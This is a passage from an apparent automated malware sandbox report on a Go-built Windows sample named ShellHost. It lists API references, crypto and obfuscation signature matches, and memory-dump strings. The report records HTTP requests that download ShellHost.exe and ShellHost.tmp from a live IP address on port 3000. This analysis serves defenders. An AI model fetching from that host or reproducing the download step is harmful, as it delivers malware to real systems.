"HKCU\WOW6432NODE\CLSID\{00000303-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}") "tmp9bmqrk_p.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{00000303-0000-0000-C000-000000000046}\IMPLEMENTED CATEGORIES\{56FFCC30-D398-11D0-B2AE-00A0C908FA49}")2e:Ta40,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer (sensitive)OpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollableECDSA-SHA256ECDSA-SHA384ECDSA-SHA512gotypesaliasRCodeSuccessRCodeRefusedinvalid basecaller errorSERIALNUMBERunknown sizeRegOpenKeyExWShellHost.exeShellHost.tmpWINDOW_UPDATESTREAM_CLOSEDCONNECT_ERRORAuthorizationCache-ControlLast-ModifiedAccept-RangesIf-None-Match[FrameHeader invalid base FQDN too longsocks connectReset ContentLoop Detectedfield name %qFindFirstFilelevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynameparsing time out of range3814697265625tlsmaxrsasizeaccess denieduser canceledPKCS1WithSHA1ECDSAWithSHA1cipher_suiteskey expansionmaster secretCLIENT_RANDOM in hos" (Indicator: "CertOpenStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "REFUSED_STREAMMAX_FRAME_SIZEERR_UNKNOWN_%dcontent-lengthread_frame_eofinternal errorunknown error unknown code: Not AcceptableComputerNameExfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchantime.Location(: extra text: invalid syntax1907348632812595367431640625unsafe.Pointer on zero Valuereflect.Value.unknown method.WithoutCancel.WithDeadline(bad record MACX25519MLKEM768Accept-CharsetDkim-Signatureunknown mode: accept-charsetuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayR" (Indicator: "CertCloseStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "REFUSED_STREAMMAX_FRAME_SIZEERR_UNKNOWN_%dcontent-lengthread_frame_eofinternal errorunknown error unknown code: Not AcceptableComputerNameExfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeGetProcAddressProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #asynctimerchantime.Location(: extra text: invalid syntax1907348632812595367431640625unsafe.Pointer on zero Valuereflect.Value.unknown method.WithoutCancel.WithDeadline(bad record MACX25519MLKEM768Accept-CharsetDkim-Signatureunknown mode: accept-charsetuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayR" (Indicator: "CryptGenRandom"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "unable to parse IPRCodeServerFailurenon-minimal lengthtruncated sequencesequence truncatedreflect.Value.IsNilreflect.Value.FloatINADEQUATE_SECURITYINITIAL_WINDOW_SIZEProxy-Authorizationframe_data_stream_0 (%d bytes omitted)err must be non-nilnetwork unreachableSwitching ProtocolsPrecondition FailedMisdirected RequestService Unavailableinvalid Trailer keyConnection: close already registeredunknown status codeWaitForSingleObjectGetFileAttributesExexec: canceling Cmdillegal instructionbad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdbad value for fieldEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard Time14" (Indicator: "CryptReleaseContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionevictCount overflowSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWfile already existsfile does not existfile already closedunknown hash value negative coordinatex509: malformed OIDx509: trailing datax509: unknown errorunsupported AEAD id20060102150405Z0700embedfollowsymlinksgotestjsonbuildtextzero length segmentRCodeNotImplementedmodulus must be > 1unknown Go type: %vinvalid write resultpad length too largehttplaxcontentlengthMAX_HEADER_LIST_SIZEconnection error: %sframe_settings_mod_6conn_close_lost_pingassigned stream ID 0read_frame_too_largeunknown address typeRequest URI Too LongUnprocessable EntityInsufficient Storageinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHa" (Indicator: "CertOpenSystemStoreW"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionevictCount overflowSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWfile already existsfile does not existfile already closedunknown hash value negative coordinatex509: malformed OIDx509: trailing datax509: unknown errorunsupported AEAD id20060102150405Z0700embedfollowsymlinksgotestjsonbuildtextzero length segmentRCodeNotImplementedmodulus must be > 1unknown Go type: %vinvalid write resultpad length too largehttplaxcontentlengthMAX_HEADER_LIST_SIZEconnection error: %sframe_settings_mod_6conn_close_lost_pingassigned stream ID 0read_frame_too_largeunknown address typeRequest URI Too LongUnprocessable EntityInsufficient Storageinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHa" (Indicator: "CryptAcquireContextW"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "ENABLE_CONNECT_PROTOCOLunknown error code 0x%xframe_goaway_has_streamframe_headers_pad_shortframe_rststream_bad_lenmalformed HTTP responsenon-zero reserved fieldnetwork not implementedcommand not implementedVariant Also Negotiatesdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWE. Africa Standard TimeTocantins Standard TimeArgentina Standard TimeVenezuela Standard TimeGreenland Standard TimeSri Lanka Standard TimeWest Bank Standard TimeQyzylorda Standard TimeSingapore Standard TimeWest Asia Standard TimeGreenwich Standard TimeLord Howe Standard TimeAstrakhan Standard TimeW. Europe Standard TimeE. Europe Standard TimeVolgograd Standard TimeMauritius Standard TimeMarquesas Standard Timetime zone offset minutetime zone offset second" not found in registryreflectlite.Value.IsNil23283064365386962890625reflect.Va" (Indicator: "CertGetCertificateChain"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "unexpected buffer len=%vinvalid pseudo-header %qframe_headers_prio_shortread_frame_conn_error_%sRequest Entity Too Largehttp: nil Request.Header%AppData% is not definedfloating point exceptionconnection reset by peerlevel 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWSA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asia Standard TimeCape Verde Standard Time116415321826934814453125582076609134674072265625error decrypting messagecertificate unobtainabletls: malformed ECHConfigtls: server rejected ECHinvalid request :path %qtracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/object" (Indicator: "CertFreeCertificateChain"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "ShellHost.exe...reflect.Value.CanInterfaceempty buffer in CopyBufferhttp: invalid cookie valueread from empty dataBuffernet/http: request canceledstopped after 10 redirectsduplicate pseudo-header %qhttp2: Framer %p: wrote %vframe_windowupdate_bad_lenframe_priority_zero_streammalformed HTTP status codeaddress type not supportedHTTP Version Not SupportedreadLoopPeekFailLocked: %wGetFileInformationByHandleinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextPostQueuedCompletionStatusSetFileInformationByHandlefailed to find ConnectEx: South Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Time: day-of-year out of range1455191522836685180664062572759576141834259033203125 using unaddressable valueunknown ABI paramet" (Indicator: "CertFreeCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found api reference "eld has value >=2^16invalid P224 point encodinginvalid P256 point encodinginvalid P384 point encodinginvalid P521 point encodinginput overflows the modulusNAF digits must fit in int8http2: client conn is closedinvalid header field name %qhttp2: header list too largeforgetting unknown stream idhttp2: Transport received %sunexpected protocol version general SOCKS server failureTransfer-Encoding: chunkedinvalid empty Content-Lengthnet/http: invalid trailer %shttp: no Host in request URLos: process already finishedGetFileInformationByHandleExfile descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContextCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "errors: target cannot be nil18189894035458564758300781259094947017729282379150390625reflect.MakeSlice: len > captls: malformed ECHConfigListEd25519 verification failuremalformed MIME header line: cannot unmarshal DNS messageb" (Indicator: "CertCreateCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference ": ShellHost.iniframe_windowupdate_zero_inc_connread limit of %d bytes exhaustedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy: day-of-year does not match day28421709430404007434844970703125MapIter.Value called before Nextreflect.Value.Grow: negative lensync: Unlock of unlocked RWMutexsync: negative WaitGroup counterchacha20poly1305: bad key lengthtls: unknown Renegotiation valuetls: NextProtos values too largetls13: label or context too longgo package net: hostLookupOrder(mime: expected token after slashbufio: invalid use of UnreadBytebufio: tried to fill full bufferaccess-control-allow-credentialsslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased" (Indicator: "CertAddCertificateContextToStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference ": ShellHost.iniframe_windowupdate_zero_inc_connread limit of %d bytes exhaustedresource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicy: day-of-year does not match day28421709430404007434844970703125MapIter.Value called before Nextreflect.Value.Grow: negative lensync: Unlock of unlocked RWMutexsync: negative WaitGroup counterchacha20poly1305: bad key lengthtls: unknown Renegotiation valuetls: NextProtos values too largetls13: label or context too longgo package net: hostLookupOrder(mime: expected token after slashbufio: invalid use of UnreadBytebufio: tried to fill full bufferaccess-control-allow-credentialsslice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)runtime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased" (Indicator: "CertVerifyCertificateChainPolicy"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertAddCertificateContextToStore" (Indicator: "CertAddCertificateContextToStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertCloseStore" (Indicator: "CertCloseStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertCreateCertificateContext" (Indicator: "CertCreateCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertFreeCertificateChain" (Indicator: "CertFreeCertificateChain"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertGetCertificateChain" (Indicator: "CertGetCertificateChain"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertOpenStore" (Indicator: "CertOpenStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "syscall.CertVerifyCertificateChainPolicy" (Indicator: "CertVerifyCertificateChainPolicy"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "BCryptGenRandom" (Indicator: "BCryptGenRandom"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "BCryptGenRandom" (Indicator: "CryptGenRandom"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertOpenStore" (Indicator: "CertOpenStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertCloseStore" (Indicator: "CertCloseStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertFreeCRLContext" (Indicator: "CertFreeCRLContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertGetEnhancedKeyUsage" (Indicator: "CertGetEnhancedKeyUsage"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin"), Found api reference "CertEnumCRLsInStore" (Indicator: "CertEnumCRLsInStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin")32:T63b,file/memory contains long string with (Indicator: "CertCloseStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "CryptReleaseContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "CertOpenSystemStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "CryptAcquireContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") file/memory contains long string with (Indicator: "CertFreeCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.CertCloseStore" (Indicator: "CertCloseStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "syscall.CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "CertFreeCertificateContext" (Indicator: "CertFreeCertificateContext"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "CertCloseStore" (Indicator: "CertCloseStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found reference to API "CertEnumCertificatesInStore" (Indicator: "CertEnumCertificatesInStore"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin")33:Teb7,Observed string: "crypto/tls" (Indicator: "crypto/tls") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/rsa" (Indicator: "crypto/rsa") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/aes" (Indicator: "crypto/aes") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/des" (Indicator: "crypto/des") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/rc4" (Indicator: "crypto/rc4") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/md5" (Indicator: "crypto/md5") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/dsaParameters" (Indicator: "crypto/dsaParameters") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/rand" (Indicator: "crypto/rand") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/x509" (Indicator: "crypto/x509") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/sha1" (Indicator: "crypto/sha1") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/ecdh" (Indicator: "crypto/ecdh") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/sha3" (Indicator: "crypto/sha3") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/ecdsa" (Indicator: "crypto/ecdsa") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/cipher" (Indicator: "crypto/cipher") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/ed25519" (Indicator: "crypto/ed25519") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/elliptic" (Indicator: "crypto/elliptic") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/x509/pkix" (Indicator: "crypto/x509/pkix") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/hpke" (Indicator: "crypto/internal/hpke") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/rsa" (Indicator: "crypto/internal/fips140/rsa") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/ecdh" (Indicator: "crypto/internal/fips140/ecdh") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/mlkem" (Indicator: "crypto/internal/fips140/mlkem") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin Observed string: "crypto/internal/fips140/tls13" (Indicator: "crypto/internal/fips140/tls13") in Source: e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin34:T7c6,Contains base64 string in header "/caige/ShellHost" in header "GET /caige/ShellHost.exe HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "3000User" in header "GET /caige/ShellHost.exe HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "http" in header "GET /caige/ShellHost.exe HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /caige/ShellHost.exe HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /caige/ShellHost.exe HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /caige/ShellHost.exe HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "/caige/ShellHost" in header "GET /caige/ShellHost.tmp HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "3000User" in header "GET /caige/ShellHost.tmp HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "http" in header "GET /caige/ShellHost.tmp HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "client/1" in header "GET /caige/ShellHost.tmp HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "Encoding" in header "GET /caige/ShellHost.tmp HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip" Contains base64 string in header "gzip" in header "GET /caige/ShellHost.tmp HTTP/1.1Host: 45.207.199.73:3000User-Agent: Go-http-client/1.1Accept-Encoding: gzip"35:T413,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Able to decrypt/decode data Matched sigs: HTTP requests contain Base64 strings Matched sigs: Detected Suricata alert – Encrypted channel Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: YARA signature match - AES encryption36:T9b1,file/memory contains long string with (Indicator: "GetCommandLine"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; File: "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001376-00000C2C-1638533812") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000356-00000C2C-1665413479") Found string "GetLastInputInfo" (Indicator: "GetLastInputInfo"; Source: "00000000-00000356-00000C2C-1691914571") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp, 00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000356.00000000.172078.01294000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCommandLine"; Source: "00000000-00000356.00000001.173998.01125000.00000002.mdmp") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "GetLastInputInfo" (Indicator: "GetLastInputInfo"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.05760000.00000040.mdmp, 00000000-00000356.00000002.175916.25A00000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")37:T6d8,Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00000356.00000001.173998.26300000.00000040.mdmp, 00000000-00000356.00000001.173998.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.26170000.00000004.mdmp, 00000000-00000356.00000002.175916.26280000.00000004.mdmp, 00000000-00000356.00000002.175916.26480000.00000040.mdmp, 00000000-00000356.00000002.175916.27471000.00000004.mdmp")38:Tddb,Found system information discovery API: "GetSystemInfo" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found system information discovery API: "GetEnvironmentStringsW" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found system information discovery API: "syscall.GetEnvironmentStrings" in file "e2a93c5f24177b85a6eb9f74c09a975760c06e351ef72b7ca91e4b3271b7c178.bin" Found system information discovery API: "GetUserObjectInformationW" in file 